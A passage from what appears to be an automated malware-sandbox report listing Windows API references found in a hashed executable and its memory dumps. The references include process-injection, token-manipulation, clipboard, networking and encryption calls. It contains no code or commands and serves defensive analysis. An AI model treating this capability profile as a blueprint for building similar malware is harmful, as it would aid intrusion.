reference to API (Indicator: "InitOnceBeginInitialize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreatePipe"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "PeekNamedPipe"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DecodePointer"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HeapFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CloseThreadpoolWork"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ReadProcessMemory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TlsGetValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WriteProcessMemory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TlsAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetACP"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetThreadContext"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitOnceComplete"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetStdHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SubmitThreadpoolWork"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CompareStringW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Process32FirstW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileType"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LCMapStringEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDriveTypeW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Process32NextW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateThreadpoolWork"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCPInfo"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TlsSetValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeSRWLock"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HeapAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LCMapStringW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SHGetFolderPathA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SHFileOperationA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetReadFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetWriteFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetOpenW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HttpEndRequestW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HttpAddRequestHeadersA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetCloseHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetConnectA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetOpenA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HttpSendRequestExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InternetOpenUrlA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HttpSendRequestA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HttpOpenRequestA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WSAStartup"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "htons"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "closesocket"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CoCreateInstance"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CoInitialize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CoUninitialize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "AddAccessAllowedAce"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "StartServiceW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetAce"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "QueryServiceStatusEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateRestrictedToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "AddAce"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetThreadToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateProcessAsUserW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenServiceW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetLengthSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetTokenInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsWellKnownSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CloseServiceHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenSCManagerW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeAcl"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetOpenFileNameW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DeleteDC"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SleepEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InterlockedPushEntrySList"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InterlockedPopEntrySList"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VerSetConditionMask"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetLocalTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTickCount64"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetPriorityClass"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetThreadUILanguage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FlushInstructionCache"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OutputDebugStringW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindResourceExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetThreadUILanguage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadIconW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "BeginPaint"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadImageW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DestroyIcon"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowTextW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetClientRect"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DrawIconEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "UnregisterClassW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DestroyEnvironmentBlock"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateEnvironmentBlock"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WTSQueryUserToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WTSEnumerateProcessesW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WTSEnumerateSessionsW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WTSFreeMemory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CoInitializeEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegDeleteKeyA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetObjectA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateFontIndirectA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WinExec"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OutputDebugStringA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Process32Next"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Process32First"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTimeFormatA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetConsoleTextAttribute"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSystemTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CopyFileA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GlobalSize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDateFormatA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetStartupInfoA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetComputerNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ShellExecuteExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Shell_NotifyIconA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenClipboard"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetWindowPlacement"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SystemParametersInfoA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetClipboardData"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MoveWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CloseClipboard"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetClipboardData"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindWindowA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetTimer"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCursorPos"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetParent"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegisterClipboardFormatA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EnumChildWindows"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadCursorA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFocus"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetMessageA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetCursorPos"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegisterClassA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowPlacement"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SendMessageTimeoutA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InvalidateRect"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetCursor"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateWindowExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "PostMessageA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SendInput"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MapWindowPoints"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowTextA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TranslateMessage"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EmptyClipboard"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetClassNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSysColorBrush"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "KillTimer"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DefWindowProcA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EnumWindows"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "AttachThreadInput"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CoTaskMemFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CoTaskMemAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VirtualProtect"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00000860.00000000.92190.01241000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000860.00000000.92190.01241000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000860.00000000.92190.01241000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00000860.00000000.92190.01241000.00000020.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00004104.00000000.95884.7FD40000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00004104.00000000.95884.7FD40000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00004104.00000000.95884.7FD40000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004104.00000000.95884.7FD40000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: 